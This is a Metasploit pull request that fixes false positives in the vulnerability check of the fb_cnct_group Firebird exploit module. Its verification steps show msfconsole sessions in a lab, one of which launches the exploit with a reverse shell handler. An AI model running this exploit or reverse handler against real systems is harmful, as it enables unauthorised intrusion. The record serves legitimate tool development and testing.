rapid7/metasploit-framework — pull request #3379 by jvazquez-r7 (2014-05-20 23:47:20+00:00)
Title: [SeeRM #8803] Avoid false positives when checking fb_cnct_group

Verification
----------

- [ ] Install Firebird-2.5.2.26540_0_Win32
- [ ] Run the check from the module without this pull request, it should report the service as vulnerable

```
msf > use exploit/windows/misc/fb_cnct_group
msf exploit(fb_cnct_group) > show options

Module options (exploit/windows/misc/fb_cnct_group):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 3050 yes The target port

Exploit target:

Id Name
-- ----
0 Windows FB 2.5.2.26539

msf exploit(fb_cnct_group) > set rhost 172.16.158.157
rhost => 172.16.158.157
msf exploit(fb_cnct_group) > check
[+] 172.16.158.157:3050 - The target is vulnerable.
```

- [ ] Try to exploit it with the Debug target, no crash, the service continues running

```
msf exploit(fb_cnct_group) > set target 4
target => 4
msf exploit(fb_cnct_group) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.157:3050 - Sending Connection Request For C:\qQjFtirEcKHvQ.fdb
[*] Exploit completed, but no session was created.
msf exploit(fb_cnct_group) > check
[+] 172.16.158.157:3050 - The target is vulnerable.
```

- [ ] Try to check with this pull request change applied, the service shouldn't be reported as vulnerable but detected:

```
msf exploit(fb_cnct_group) > check
[*] 172.16.158.157:3050 - The target service is running, but could not be validated.
```